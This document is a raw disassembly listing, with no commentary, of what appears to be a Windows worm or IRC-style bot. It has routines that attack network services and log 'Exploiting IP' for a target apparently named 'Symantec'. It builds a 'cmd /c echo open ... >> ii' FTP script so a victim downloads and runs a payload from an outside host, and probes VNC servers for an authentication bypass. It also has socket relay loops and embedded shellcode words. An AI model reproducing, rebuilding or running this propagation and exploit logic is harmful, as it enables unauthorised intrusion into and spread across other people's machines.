		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EB8
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_4332A8
		add	esp, 2Ch
		push	eax
		call	dword_4CBA24
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BB8
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332E8[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432B08
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433420
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432B08
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332E8
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CBA3C
		push	ebx
		push	68h
		push	offset dword_432F1C
		push	edi
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CBA3C
		push	ebx
		push	0A0h
		push	offset dword_432F88
		push	edi
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CBA3C
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433140
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4331AC
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433220
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CBA3C
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_43302C
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4330AC
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		nop
		call	near ptr 26803E7h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA64
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CBA24
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBAA4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432CA0
		push	ebx
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CBA3C
		push	edi
		push	0A8h
		push	offset dword_432D2C
		push	ebx
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CBA3C
		push	edi
		push	0DEh
		push	offset dword_432DD8
		push	ebx
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CBA3C
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBABC
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]


loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB760
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_43180Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA64
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CBA24
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_43343C
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA3C
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346F4
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBAA4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA64
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CBA24
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBABC
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB8DC
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431810[eax]
		push	ebx
		lea	eax, dword_431810[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop


loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE758
		call	dword_4CBA3C
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE754
		nop
		call	near ptr 2710000h
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE748
		call	near ptr 2700000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE758
		call	dword_4CBA74
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CBA24h, 6A56066Ah, 45896602h, 0A415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA5015h
		dd 0FF056A00h, 15FF0875h, 4CBA4Ch, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 0B815FF08h, 0A3004CBAh, 4CE758h
		dd 57F4458Dh, 0E7546850h, 5068004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE74Ch
		dd 4CE74868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE750h, 890CC483h, 4CA1BC45h, 89004CE7h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 2EE890B4h, 50023216h, 0E74C35FFh,	0E890004Ch
		dd 2321621h, 0CDE89050h, 8D02320Fh, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346F868h
		dd 0E8905700h, 2260FA8h, 50E8458Dh, 0D1685757h,	8D0040EEh
		dd 5057F445h, 2713E9E8h, 45899002h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 0CFE89050h, 6A022713h, 0F04589FFh
		dd 90D875FFh, 281689E8h, 75FF5702h, 61E890F0h, 5702290Fh
		dd 90EC75FFh, 290F57E8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 31195DE8h, 5035FF02h, 0FF004CE7h,	5435FFD6h
		dd 0FF004CE7h, 4835FFD6h, 0FF004CE7h, 4C35FFD6h, 0FF004CE7h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E760A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CBA24h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBAA415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 0E52E853h
		dd 8B90022Dh, 0FFFF5485h, 69106AFFh, 234C0h, 6CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA5015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB9B815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
		dd 5959FFFFh, 0DD2E856h, 6890022Dh, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE760h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA5015FFh, 0C63B004Ch, 15FF5475h, 4CB9B8h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 2D0D57E8h, 56A9002h, 4C15FF57h
		dd 3B004CBAh, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBAB815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
